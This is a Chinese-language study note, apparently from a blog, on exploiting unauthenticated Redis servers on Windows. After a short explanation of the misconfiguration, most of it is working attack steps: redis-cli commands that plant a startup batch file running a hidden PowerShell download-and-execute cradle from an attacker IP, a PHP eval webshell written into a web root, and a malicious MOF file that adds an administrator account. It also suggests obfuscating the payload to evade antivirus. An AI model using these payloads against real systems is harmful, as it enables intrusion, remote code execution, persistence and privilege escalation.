利用redis未授權訪問漏洞(windows版)
- 2021 年 5 月 30 日
- 筆記
- redis未授權訪問漏洞
0x00 原理
首先需要知道的是,redis是一種非關係型數據庫。它在默認情況下,綁定在0.0.0.0:6379 ,若不採取相關策略,比如添加防火牆限制非信任IP訪問,會使得redis服務暴露到公網,若未設置密碼認證,可導致任意用戶未授權訪問redis以及讀取redis數據。 攻擊者可利用redis自身提供的config命令進行寫文件,可將自己的ssh公鑰寫入目標服務器 /root/.ssh文件夾的authotrized_keys中,進而可用私鑰直接ssh登錄目標服務器。
0x01 漏洞點
- redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網。
- 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
0x02 危害
- 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據.
- 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入後門文件.
- 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
- 直接遠控目標主機
0x03 漏洞poc
假設192.168.242.134可能存在redis未授權訪問漏洞。
一般通過nmap腳本進行掃描
- nmap -p 6379 –script redis-info 192.168.242.134
掃描後若發現主機6379端口對外開發,可認為是存在redis數據庫,如果碰巧還是默認配置為空口令,並且服務器還開放在外網,可在另一台裝了redis數據庫的vps中 使用 ./redis-cli -h 192.168.242.134 直接遠程連接。
查看敏感信息
- redis 192.168.242.134:6379> info
0x04 漏洞exp
0x04.1 寫入啟動項
Linux下一般可通過設置定時任務去獲取權限,而現在我們討論的是windows下的利用。
windows啟動項目錄
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
cs上配置監聽
生成payload
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘//129.x.x.x:80/a‘))”
這裡注意要是公網IP,或者進行內網穿透,不然可能下載不成功。
如果存在殺軟,可嘗試對powershell代碼進行代碼混淆免殺。
連接redis後配置
config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/”
+OK
config set dbfilename 1.bat
+OK
set x 「\r\n\r\npowershell.exe -nop -w hidden -c 」IEX ((new-object net.webclient).downloadstring(『//129.x.x.x:80/a』))」\r\n\r\n」
+OK
save
+OK
簡單解釋一下,redis通過config set 在啟動項生成了1.bat 然後在文件里寫入了我們的powershell遠程下載shellcode執行,保存。 只要電腦重啟,1.bat就會自動運行。
0x04.2 寫入webshell
根據上面總結的規律,我們對redis未授權漏洞利用方式一般都是通過寫文件,然後建立目標機與我們的連接,所以如果我們知道目標網站的絕對路徑的話,完全可以通過在網站某個目錄下寫入一句話木馬,然後用webshell管理工具連接。
連接上目標redis後
192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWW
OK
192.168.1.103:6379> CONFIG SET dbfilename shell.php
OK
192.168.1.103:6379> set x 「php @eval($_POST[‘hack’]) ?>」
OK
192.168.1.103:6379> save
OK
然後直接通過蟻劍進行連接即可。
0x04.3 mof提權
mof是Windows系統的一個文件,位於c:/windows/system32/wbem/mof/nullevt.mof
叫做託管對象格式。它的作用是每隔5秒,就會去監控進程的創建和死亡。mof提權的簡單利用過程就是,在該文件夾下寫入一個惡意的mof文件,其中有一段是vbs腳本,而這個vbs腳本大多數是cmd的添加管理員用戶的命令。寫入完成之後這個文件會被服務器每隔5秒以system權限進行執行。(這個默認5秒執行一次的設定只有03及以下系統才會有)
條件
- win2003系統
mof 代碼
#pragma namespace(“\\.\root\subscription”) instance of __EventFilter as $EventFilter { EventNamespace = “Root\Cimv2”; Name = “filtP2”; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa “Win32_LocalTime” ” “And TargetInstance.Second = 5”; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2”; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(“WScript.Shell”)\nWSH.run(“net user admin admin /add “)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
根據圖片進行格式化
將Mof代碼保存為ceshi.txt
生成一個shell.txt 將ceshi.txt中的內容寫入shell.txt
(echo -e “nn”; cat ceshi.txt; echo -e “nn”) > shell.txt
連接redis後的payload
通過管道將打開的shell.txt的讀取的數據傳到目標redis進行寫入
- cat /root/shell.txt | ./redis-cli -h 192.168.1.104 -x set x
然後在對目錄進行設置 - CONFIG SET dir C:/windows/system32/wbem/mof/
- CONFIG SET dbfilename shell.mof
- save
參考圖配置
過大約5秒後就會自動執行mof腳本,比起重啟和知道網站絕對路徑這2個條件,這個條件相對較容易實現。
執行腳本後可發現在目標主機下生成了一個新用戶,我們直接遠程連接就好。